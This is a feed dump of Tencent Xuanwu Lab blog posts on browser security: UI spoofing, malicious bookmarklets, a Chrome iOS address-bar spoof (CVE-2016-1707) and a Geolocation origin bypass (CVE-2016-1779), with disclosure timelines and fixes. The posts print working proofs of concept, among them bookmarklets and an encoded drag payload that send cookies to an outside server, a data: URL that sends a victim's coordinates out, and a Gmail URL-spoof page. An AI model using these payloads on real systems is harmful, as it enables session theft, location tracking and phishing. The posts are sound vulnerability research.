xisigr – 腾讯玄武实验室 http://xlab.tencent.com/cn Thu, 09 Nov 2017 03:17:42 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.6 Browser UI Security 技术白皮书 http://xlab.tencent.com/cn/2017/10/16/browser-ui-security-whitepaper/ Mon, 16 Oct 2017 05:26:14 +0000 http://xlab.tencent.com/cn/?p=332 继续阅读“Browser UI Security 技术白皮书”]]> Browser UI ,是指浏览器用户界面。浏览器经过几十年的发展,对于用户界面并没有一个统一的规定标准,目前大多数现代浏览器的用户界面包括:前进和后退按钮、刷新和停止加载按钮、地址栏、状态栏、页面显示窗口、查看源代码窗口、标签等。另外可能还会有一些其他的用户界面,例如下载管理、页面查找、通知、系统选项管理、隐身窗口等等。我们可以把Browser UI认为是一个前端标签式的页面管理器或者Web的外壳,用户不必去考虑浏览器应用程序底层是如何处理数据的,所有的网络行为结果,均由Browser UI去展现给用户。

从安全的角度来说,浏览器UI上最容易发生的攻击就是用户界面欺骗,也就是UI Spoof。通常UI Spoof被用来进行网络钓鱼攻击使用。网络钓鱼是社会工程学中用于欺骗用户,进而获取用户的敏感信息的一种攻击手段,通常使用伪造网站等方法,诱使用户从视觉感官上相信其是合法真实的,当用户在浏览器中进行操作后,敏感信息就有可能被攻击者获取到。

因此浏览器UX团队在开发UI过程中,在便捷用户浏览的同时,对UI安全模型上的设计、策略、逻辑也显得非常重要,安全的UI能帮助用户在上网时快速、准确的做出正确安全的决策。 而UI一旦出现了缺陷,攻击者就可能伪造浏览器UI中的某些关键信息,进而对用户实施网络钓鱼攻击。

本技术白皮书中将给大家介绍什么是UI Spoof漏洞,并对多个浏览器UI上的安全漏洞进行详细分析。

下载链接: Browser-UI-Security-技术白皮书.pdf

]]>
BadBookmarklet http://xlab.tencent.com/cn/2017/01/18/badbookmarklet/ Wed, 18 Jan 2017 01:56:27 +0000 http://xlab.tencent.com/cn/?p=213 继续阅读“BadBookmarklet”]]> Bookmarklet,中文名可以翻译成小书签,它的存在形式和书签一样,都被保存在浏览器的收藏夹中。但它不是一个 HTTP、FTP、File 开头的 URL,而是一段 javascript: 开头的 javascript 代码。1995 年 Javascript 的作者 Brendan Eich 特意设计 javascript: URLs 和普通URL一样用于收藏夹,时至今日小书签已经于浏览器中存在了 20多年。

在这些年中浏览器以及WEB 上的攻防对抗风云幻变,也使小书签上的安全风险渐渐大于它的业务实用性。从攻击的角度来看,日渐复杂的应用场景、多样化的攻击手段层出不穷,使小书签可以执行任意 javascript 代码的这个特性演变成一了种攻击手段。而在防御层面,CSP 的出现与普及,也似乎预示着小书签的历史使命走到了尽头。

本文从在现代浏览器中导入和拖放小书签,来介绍小书签是如何变成一种致命攻击手段的。

1. 小书签的历史

“这是一个特意设计的特性:我在1995年发明 JavaScript 的时候发明了 javascript: 这类 URL,并打算使得 javascript: URLs 用法和其他URL一样,包括收录入收藏夹。 我特地把”JavaScript:” URL设计得可以在运行时产生一个新文档,例如 javascript:’hello, world’ ,同时也可以在当前文档的 DOM 下运行任意脚本(这点对小书签尤其有用),就像这样: javascript:alert(document.links[0].href) 。 这两者的区别就是,后者的URL在JS解析下值为 undefined。我在 Netscape 2 投入市场前加入了 void 操作符来清除任何非 undefined 的 javascript: URL 的值。”

——Brendan Eich,寄给 Simon Willison 的邮件

以上是 JavaScript 的发明人 Brendan Eich 说明小书签来历的一段话,引自于维基百科 http://zh.wikipedia.org/zh-cn/小书签

这20多年来浏览器小书签也一直遵循着当年 Brendan Eich 对它的定义。

2. 小书签的正常功能

我们知道浏览器使用隶属于<a> 标签的href的URI标签来存储书签。浏览器用 URI 前缀,例如 http:, file:,或是 ftp: 来确定协议以及请求剩余字符串的格式。

浏览器也能像执行其它前缀一样执行 javascript:。在内部处理时,当浏览器检查到协议为JavaScript,就将后面的字符串作为 JavaScript 脚本来执行,并用执行结果产生一个新页面。

例如这段小书签,可以直接让用户进行 base64 编码的转换:

javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i<7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();

而下面这段小书签则会在用户的当前域弹出 cookie:

Javascript:alert(document.cookie)

3. 小书签上的安全风险

小书签中可以写入任意 Javascript 代码,这使得写入恶意代码也成为可能。如果小书签中是一段可以获取用户 cookie 并发送给攻击者的代码,那么当用户点击这段小书签后,当前域的 cookie 信息就会被攻击者获取到。这个时候,小书签即变成了 UXSS 的孵化器。如果设备之间浏览器开启 SYNC,那么这段恶意小书签也会同步到其他设备上去,使危害增大。

看起来以上的分析是可行的,但如何让小书签变得有攻击性呢,因为用户不会主动去写一个恶意的小书签,然后自己去点击。而就算用户自己在小书签里自娱自乐的 Self-XSS 的弹个 alert(1),又有何不可?

如果我们能找到一个场景,可以让用户无意在浏览器中注入恶意的小书签。基于此想法,来看下面这个场景:
1. 用户在保存书签的时候,就认为书签是正确的。
2. 在点击书签后也会导航到正确的网站。

如果上面2点能顺利完成,且整个过程从表面来看没有任何差错和异常,那么用户对这个小书签基本上就不会去怀疑。在下文我们测试的过程中,当用户点击了这个书签,用户的信息即被攻击者获取到了!

4. 导入和拖放恶意小书签

在现代浏览器中,增加了多种添加书签的方法。这其中包括直接导入 HTML 格式的书签文件和直接拖放链接保存为书签。这两种保存书签方式使得小书签上的攻击成为可能!

4.1 导入恶意小书签

在现代浏览器中,都有了书签导入导出的功能。我们可以把书签导出为 HTML 文件,并能随时把 HTML 的书签导入到浏览器中。另外,不同浏览器之间也可以互相导入。

例如导入如下书签文件,你可以把它保存为 bookmark.html,然后导入到浏览器中:

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
    <DT><H3>xss Bookmarks</H3>
    <DL><p>
        <DT>
        <DT><H3>xss_test</H3>
        <DL><p>
        </DL><p>
        <DT><A HREF="javascript:document.write('hack by xisigr');">xss0</A>
        <DT><A HREF="Javascript:alert(document.cookie);">xss1</A>
        <DT><A HREF="javascript: var b=document.createElement('script');b.src='http:// attackip /get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout(%22location='http://www.google.com'%22,1000);">google</A>
    </DL><p>
</DL>

在我们测试过程中,Chrome/Firefox/Safari/Opera 这四款浏览器可以直接导入 bookmark.html 小书签,导入的过程中没有任何提示。IE无法导入这样的小书签,导入时会提示错误而中断。

小书签的自身特性,决定了上面的这三个小书签,在用户点击的时候,可以直接在当前 DOM 下渲染执行。如果当前域是 gmail.com,那么就等同于是在 gmail.com 域中插入了一段 Javascript 脚本,并运行它。

于是,我们有了如下的攻击场景:
1. 攻击者在网上共享了一个书签文件 bookmarks.html(注入了恶意代码)
2. 用户看到书签不错,下载下来.
3. 用户把书签 bookmakes.html 文件导入到浏览器中。
4. 在已经打开任何域的情况下,打开书签,书签中的恶意 javascript 代码就会注入到当前域下。一个 UXSS 攻击就发生了。

4.2 拖放恶意小书签

除了导入书签文件外,还可以使用拖放的方式来保存书签。

我在Safari浏览器中找到一个真实的小书签攻击案例。整个场景将在 MAC+IPad 环境下进行,为了体现攻击效果,我们在攻击场景中加入了设备之间的 SYNC,在这个攻击过程中,利用了一个 Safari 浏览器的拖放书签欺骗漏洞,来欺骗用户把恶意的小书签保存到收藏夹中,这个小书签保存后名称会显示 google.com,点击后也会到达 google.com,整个攻击过程非常隐蔽,很容易欺骗到用户。假设用户已经在 MAC、IPad 中打开了 Amazon 和 Gmail。那么当用户点击 google.com这个书签导航到 google.com 后,Amazon 和 Gmail 的 cookie 就被攻击者获取到了。

这个攻击场景如下图:

1. 用户拖放链接保存为书签。
2. 设备开启同步后,书签也会保存到其他设备上。
3. 当用户点击书签后,当前域的 cookie 会发送给攻击者。

第一步很关键,用户拖放链接保存为书签。这里会用到一个 Safari 浏览器拖放书签的欺骗攻击。先简单说下这个欺骗漏洞的原理,把如下代码保存为 attack.html。

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'http://baidu.com/#/google');"><a  href=http://www.google.com>google.com</a></div>

用 Safari 打开后,链接会显示 google.com,用户点击后会指向 google.com。但用户拖放这个链接保存为书签时,拖放的内容会被替换为 http://baidu.com/#/google ,而保存到收藏夹后,由于 Safari 收藏夹的设计特点,会取 URL 中最后“/”后面的字符作为书签的名字,所以书签的名字将是 google。那么在整个保存为书签的过程中,用户看到的始终是 google,所以不会对此次拖放保存书签有怀疑。当用户点击书签链接时,由于链接中加入了 #,所以 URL 会忽略掉#后面的内容,直接转向到了 baidu.com。这可以看做是一次重定向攻击。

了解完书签拖放欺骗的原理后,我们就来看一个真正的攻击,这次拖放替换的内容不是一个 URL,而是一个 javascript: 开头的小书签。可以直接在当前域下注入任意 javascript 代码。一个 UXSS 产生了。

将如下代码保存为 attack.html
代码:

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'javascript:%76%61%72%20%62%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%62%2E%73%72%63%3D%27%68%74%74%70%3A%2F%2F%78%69%73%69%67%72%2E%63%6F%6D%2F%32%30%31%35%74%65%73%74%2F%67%65%74%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%62%29%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%27%22%2C%31%30%30%30%29%3B/#/google');"><a href=http://www.google.com>google.com</a></div>

编码部分的代码为:

var b=document.createElement('script');b.src='http://xisigr.com/2015test/get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout("location='http://www.google.com'",1000);

演示视频:

5. CSP的出现使小书签消亡

自从内容安全策略(Content Security Policy,简称 CSP)开始被提出,这些年逐渐被各大浏览器厂商支持和认可,也预示着小书签的历史使命走到了尽头。

大家知道 CSP 是为了防止 XSS 而设计,默认配置下不允许执行内联代码(<script> 块内容,内联事件,内联样式),以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和 setInterval([string], …)。

内联 Javascript 不能运行,不能加载外部资源,这些限制都使得小书签将不能正常工作。就此问题,Firefox 的 bugzilla 社区中曾有过白热化的讨论, https://bugzilla.mozilla.org/show_bug.cgi?id=866522 ,其中有一个对书签狂热的使用者说道:

【作为一个“超级用户”,我非常依赖我的书签工具和 Greasemonkey 的用户脚本来执行各种功能和特性,在各种网站(加入了 CSP 防御),书签中的脚本无法使用,现在这个的问题,非常恼人,困然了我好几个月。安全性显然是重要的,但是,作为最终用户,我应该永远有控制和浏览体验的绝对权力,并且几乎能够做我想做的。】

而另一篇文章,则直接写到Bookmarklets are Dead…
https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

在我们写这篇文章时,Firefox/Edge 浏览器中,小书签作为内联JS是不可以运行的,Chrome/Safari 浏览器中则是可以的。这是不是也可以认为小书签绕过了 CSP 呢?

6. 建议

其实对于Javascript:URLs 这样的用法,浏览器厂商也已经开始意识到它在特殊场景下所带来的安全风险。比如在之前的浏览器中,用户可以直接粘贴 Javascript:URLs 到地址栏并运行,但现在 Chrome /Firefox/Edge 浏览器会直接把 Javascript: 这个协议关键字去掉。

但对于小书签中可以直接执行 Javascript:URLs ,浏览器厂商始终保持一个较为保守的态度,毕竟小书签已经伴随浏览器 20 多年。对此,我们对小书签的使用,提出几点安全建议,可以暂时缓解小书签带来的安全风险:

浏览器厂商方面:对小书签的内容和权限进行颗粒度更细的控制。比如从文件或其他浏览器导入小书签时,严格过滤小书签内容,对可疑小书签弹出风险提示。

安全厂商方面:可以推出检测小书签的浏览器插件等。对恶意小书签,弹出预警提示。

用户方面:不要随意导入第三方小书签,明确导入的小书签功能是什么。

7. 厂商回复

Chrome
2015/04/13:向 Chrome 报告浏览器小书签安全问题
2015/04/13:Chrome 答复小书签上面的安全问题,他们在内部也讨论了很多次,目前来看小书签的实用性大于它带来的安全风险。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Firefox
2015/04/13:向 Firefox 报告浏览器小书签安全问题
2015/04/14:Firefox 回复他们认为导入书签时,应该有个风险提示。还认为恶意书签的钓鱼、重定向攻击也是很严重。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Safari
2015/04/13:向 Apple 报告 Safari 浏览器小书签安全问题
2015/04/21:向 Apple 报告 Safari 浏览器书签拖放欺骗
2015/12/02:向 Apple 提供详细漏洞视频
2015/12/25:询问 Apple 处理漏洞进度
2016/01/27:Apple 回复正在调查中
2017/02/28:Apple 回复确认会在最新版的安全更新中进行修复
2017/03/28:Apple 在2017年3月份安全更新中,修复了文中提到的小书签(bookmarklet)拖放欺骗导致任意代码执行漏洞。CVE-2017-2378。

8. 参考:

[1] http://zh.wikipedia.org/zh-cn/小书签
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=866522
[3] https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

]]>
Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707) http://xlab.tencent.com/cn/2016/10/11/cve-2016-1707-chrome-address-bar-url-spoofing-on-ios/ Tue, 11 Oct 2016 09:00:46 +0000 http://xlab.tencent.com/cn/?p=78 继续阅读“Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707)”]]> Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707),这个漏洞笔者于2016年6月报告给Google,现在把漏洞细节分享给大家。URL Spoofing漏洞可以伪造一个合法的网站地址。攻击者可以利用这个漏洞对用户发起网络钓鱼攻击。

受影响版本:Chrome < v52.0.2743.82,IOS < v10

0x01 漏洞详情

POC:

<script>

payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";

function pwned() {
    var t = window.open('https://www.gmail.com/', 'aaaa');
    t.document.write(atob(payload));
    t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");
}

</script>

<a href="https://hack.com::/"  target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>

那么这个漏洞是如何发生的呢?笔者现在来解读一下整个代码的加载过程。首先点击click me这个链接,浏览器去打开一个name为aaaa的新窗口,这个页面去加载“https://hack.com::”,这个地址可以随便写。500微秒后运行pwned(),在aaaa窗口打开https://www.gmail.com,当然这个URL可以为空。到现在为止,一切代码运行都很正常,接下来这段代码就是触发漏洞的核心代码。

base64加密的这段代码:

base64 payload code:

<body></body>

<script>
    var link = document.createElement('a');
    link.href = 'https://gmail.com::';
    document.body.appendChild(link);
    link.click();
</script>

接下来这段代开始在aaaa窗口页面去提交(commit)https://gmail.com::,这是一个很奇妙的事情,https://gmail.com::本是一个无效的地址,如何去被提交呢。在尝试了多种方法后,笔者发现使用a标签点击的方式可以做到(window.open/location则不可以),并且使这个无效地址处在了一个等待状态(pending status)。此时,实际Chrome是加载了about:blank(已经到了about:blank域),但在处理最后URL地址栏中的显示时,Chrome却选择了处在等待状态的https://gmail.com:: 作为最后的提交地址,加载后的https://gmail.com::在URL地址栏中会以https://gmail.com这样的方式呈现,两个::会被隐藏。此时,整个加载过程完成。一个完美的URL Spoofing漏洞就这样产生了。

Online demo:

http://xisigr.com/test/spoof/chrome/1.html

http://xisigr.com/test/spoof/chrome/2.html

如果你还没有升级版本,Chrome < v52.0.2743.82,IOS < v10,那么可以尝试运行笔者网站上的这两个DEMO。

0x02如何修复

这个漏洞最关键的地方是,Chrome允许在Web页面加载的时候,提交一个无效的地址所导致。Google也是基于此给出了补丁文件,就是在加载Web页面的时候不允许提交无效地址,如果检测到是无效地址,则直接使当前URL为about:blank。

[self optOutScrollsToTopForSubviews];

   // Ensure the URL is as expected (and already reported to the delegate).
-  DCHECK(currentURL == _lastRegisteredRequestURL)  //之前只是判断了当前URL和最后请求的URL是否相同
+  // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be
+  // "about:blank".
+  DCHECK((currentURL == _lastRegisteredRequestURL) || 
+         (!_lastRegisteredRequestURL.is_valid() && //增加判断是否是一个无效的URL
+          _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))  
       << std::endl
       << "currentURL = [" << currentURL << "]" << std::endl
       << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]";

   // This is the point where the document's URL has actually changed, and
   // pending navigation information should be applied to state information.
   [self setDocumentURL:net::GURLWithNSURL([_webView URL])];
-  DCHECK(_documentURL == _lastRegisteredRequestURL);
+
+  if (!_lastRegisteredRequestURL.is_valid() &&
+      _documentURL != _lastRegisteredRequestURL) {
+    // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|
+    // will be "about:blank".
+    [[self sessionController] updatePendingEntry:_documentURL];
+  }

+  DCHECK(_documentURL == _lastRegisteredRequestURL ||
+         (!_lastRegisteredRequestURL.is_valid() &&
+          _documentURL.spec() == url::kAboutBlankURL));
+
   self.webStateImpl->OnNavigationCommitted(_documentURL);
   [self commitPendingNavigationInfo];
   if ([self currentBackForwardListItemHolder]->navigation_type() ==

0x03 披露时间

2016/6/22 报送给Google,https://bugs.chromium.org/

2016/6/22 Google确认漏洞,漏洞级别High

2016/7/14 Google确认奖励$3000

2016/7/20 Google发布安全公告,CVE-2016-1707

2016/10/2 Google公开漏洞

0x04 相关链接

[1] https://googlechromereleases.blogspot.com/2016/07/stable-channel-update.html

[2] https://bugs.chromium.org/p/chromium/issues/detail?id=622183

[3] https://chromium.googlesource.com/chromium/src/+/5967e8c0fe0b1e11cc09d6c88304ec504e909fd5

]]>
CVE-2016-1779 技术分析及其背后的故事 http://xlab.tencent.com/cn/2016/04/19/cve-2016-1779/ Tue, 19 Apr 2016 08:59:36 +0000 http://xlab.tencent.com/cn/?p=76 继续阅读“CVE-2016-1779 技术分析及其背后的故事”]]> Geolocation API被用来获取用户主机设备的地理位置,并且它有一套完整的保护用户隐私的机制。但CVE-2016-1776这个漏洞,绕过了Geolocation认证源的安全机制,并有可能导致用户隐私泄漏。本文在分析CVE-2016-1779漏洞成因的基础上探讨了Geolocation隐私机制,其中穿插的获取苹果公司的地理位置的“故事”,对用户隐私更是一个警醒。

0x01 CVE-2016-1776

在IOS中Geolocation认证是由UIWebView来做处理,攻击者可以绕过同源策略使认证框在任意域弹出,并且当用户点击允许后可获取到用户的地理位置。在IOS平台中,Safari和Chrome都受到这个漏洞的影响。

受影响产品:WebKit in Apple iOS < 9.3 and Safari < 9.1,Chrome

漏洞修复日期:2016/3/21

漏洞公告:

https://support.apple.com/HT206166

https://support.apple.com/HT206171

http://lists.apple.com/archives/security-announce/2016/Mar/msg00000.html

http://lists.apple.com/archives/security-announce/2016/Mar/msg00005.html

0x02 漏洞分析

2.1 Geolocation API的安全隐私策略

在W3C官方文档描述中,可以清晰的了解到Geolocation API的安全隐私策略。其中下面这条和我们今天分析的CVE-2016-1776相关

4.1 Privacy considerations for implementers of the Geolocation API

User agents must not send location information to Web sites without the express permission of the user. User agents must acquire permission through a user interface, unless they have prearranged trust relationships with users, as described below. The user interface must include the host component of the document’s URI[URI]. Those permissions that are acquired through the user interface and that are preserved beyond the current browsing session (i.e. beyond the time when the browsing context[BROWSINGCONTEXT] is navigated to another URL) must be revocable and user agents must respect revoked permissions.

https://www.w3.org/TR/geolocation-API/

这条安全策略明确指出:“Geolocation必须经过用户的许可才可以使用,除非已经预先确认了信任关系。浏览器在使用Geolocation时会弹出一个认证框来通知用户,并且在这个认证框的UI上必须包含此页面的URI。”对于这条策略,当下主流浏览器都已经实现。

2.2 认证框的源

触发Geolocation的认证框很简单,我们只要运行下面的代码即可,前提是之前没有允许当前域获取Geolocation。

<script>
function success(position) {}
navigator.geolocation.getCurrentPosition(success);
</script>

例如:http://www.test.com/geo.html。运行后,浏览器会在当前页面上弹出认证对话框,对话框的UI上会显示来源:www.test.com

2.3. PoC Exploit Code of CVE-2016-1779

在2.2中是触发Geolocation认证源的一个简单流程。从这个过程中,我有了以下的想法。

  • 可否改变认证源。
  • 如果可以改变,是否可以为空。

于是,按照这个思路,开始了我的测试之旅。在这个过程中,发现IOS下Safari和Chrome在使用data:来解析这段代码时,认证源头将为“://”
data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30KbmF2aWdhdG9
yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihzdWNjZXNzKTsKPC9zY3JpcHQ+Cg==

接下来,我进一步优化了POC,如下

<title>test</title>
<script>
function geo(){
window.open('http://www.google.com');
location = 'data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ +CjxtZXRhIGNoYXJzZXQ9dXRmLTggLz4KPHRpdGxlPmdlb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk+CjxzY3JpcHQ +CmZ1bmN0aW9uIHN1Y2Nlc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbW90ZScpLnNyYz0iaHR0cDovL3hpc2lnci5jb20vdGVzdC9nZW8v Z2V0LnBocD9nZW9sb2NhdGlvbj0iKyItLS0tLS0iK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpKyIsIitlbmNvZGVVUklDb21wb25lb nQocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oc3VjY2Vzcyk7Cjwvc2NyaXB0Pgo8aW 1nIGlkPSJyZW1vdGUiIHNyYz0iIiB3aWR0aD0wIGhlaWdodD0wPgo8L2JvZHk+CjwvaHRtbD4=';
}
</script>
<button onclick='geo()'>Click Me</button>

Base64 decode:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8 />
<title>geolocation</title>
<body>
<script>

function success(position) {
document.getElementById('remote').src="http://xisigr.com/test/geo/get.php?geolocation="+"------"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(position.coords.longitude);
}

navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src="" width=0 height=0>
</body>
</html>

还记得前面W3C官方文档对Geolocation认证源的描述吧,“认证框上的URI源,必须要和当前页面的源相同”。此时,我们已经成功的绕过了同源策略,使data:域的Geolocation认证源在其他任意域弹出。当用户点击允许后,系统也并没有检查认证UI上的源和当前页面源是否相同,于是地理位置就被发送到攻击者服务器了。

当时,我是先把这个漏洞报送给了Google,但由于Geolocation的认证100%是由IOS UIWebView来控制,所以Google对IOS平台下Chrome出现的这个问题也没有太好的解决方法。之后,我把这个漏洞提交给了APPLE。APPLE于今年3月21日在IOS 9.3版本中修复了这个漏洞。

0x03 廉价的苹果总部地理位置? ?

在2016/1/6,我的服务器上收到了一些地理位置回传信息。因为在我提交的POC中明确的指出,使用自己的服务器搭建了一个漏洞验证环境,如果触发,数据则会传到我的服务器上。

在查阅后发现,37.332578830316436,-122.03068509201906,显示的正式APPLE的美国总部地址。

从获取到的返回数据可以发现,苹果研究人员分别在2016/1/6、2016/1/7、2016/1/8、2016/1/10、2016/1/20、2016/1/22、2016/1/28这7个时间段触发了POC,而且地址是相同的,都是在美国苹果总部。可能当时验证的苹果研究人员,并没有自己搭建漏洞验证环境,而是直接使用了我提供的POC中的原有环境,所以导致在验证漏洞的时候地理位置回传到了我的服务器上。

他们应该知道到这个问题,因为在POC中明确指出数据会回传到这个地址xisigr.com/test/geo/info.txt。但是,他们还是义无反顾的触发了7次漏洞,是疏忽大意还是并不在意苹果总部的地理位置被泄漏出去,因为这个地址在网上都可以任意查到。但就算是这样,我还是很惊讶,苹果测试人员的地理位置和他们的作息时间就这样被获取到了。

这当然不仅仅是一个故事,只是想提醒大家,在真实复杂的网络攻击中,蛛丝马迹的信息有时会成为“千里之堤毁于蚁穴”的突破口。不要让类似于地理位置这样重要的隐私信息变得如此廉价。

0x04 关于Geolocation其他想说的

4.1 HTTPS

Geolocation API被主流浏览器支持,已经有些年头,Geolocation API(getCurrentPosition()、watchPosition())一直支持可以在HTTP协议中使用。但随着互联网隐私安全越来越被重视,且还赶上了各大浏览器巨头们呼吁全网HTTPS的这样一个大背景,Geolocation API被提到了一个非安全源HTTPS中不能使用的高度。终于Google最先做出了表率,在2016年4月13日Chrome 50升级更新后,Chrome中不再支持非安全源HTTP下使用Geolocation API。

4.2 警惕插件扩展

Geolocation上的浏览器插件有很多,他们在使用“Geolocation”时对权限并没有考虑的那么周全,导致有可能泄漏用户的隐私。

  • 认证源为空的攻击场景

在Firefox浏览器中,有一款地理定位的插件Geolocater,在最新版Firefox安装上后,会导致Geolocation认证源失效,也就是源变成了空。这是很可怕的事情,攻击者利用后,可以欺骗用户点击地理位置认证确认,进而获取到用户的地理位置。

Geolocater地址:https://addons.mozilla.org/en-us/firefox/addon/geolocater/

我们来看下当认证源为空时的一个攻击场景:

假设www.test.com很安全,没有任何安全风险。且页面中存在这样的代码

----www.test.com----
<iframe src="http://id.info.com">
<script src=”http://cdn.info.com”>
…………
---------------------------

如果攻击者在info.com上发现了XSS,并且注入Geolocation API。那么当用户访问www.test.com的时候,会弹出Geolocation认证对话框,因为UI中没有源的提示,用户以为是test.com域发出的请求,进而点击允许获取地理位置。这时,攻击者就获取到了用户的地理位置。

  • 彻底干掉认证+绕过安全源

在Chrome下有一款叫“manual-geolocation”的插件。在我看来它就是Geolocation安全策略的终结者。当用户安装这个插件后,所有网站在使用Geolocation时将不再需要用户确认,而且在Chrome 50中可以在非安全源HTTP下使用。当这个插件开启时,对用户来说就是一个噩梦开始!

manual-geolocation插件地址:https://chrome.google.com/webstore/detail/manual-geolocation/jpiefjlgcjmciajdcinaejedejjfjgki

]]>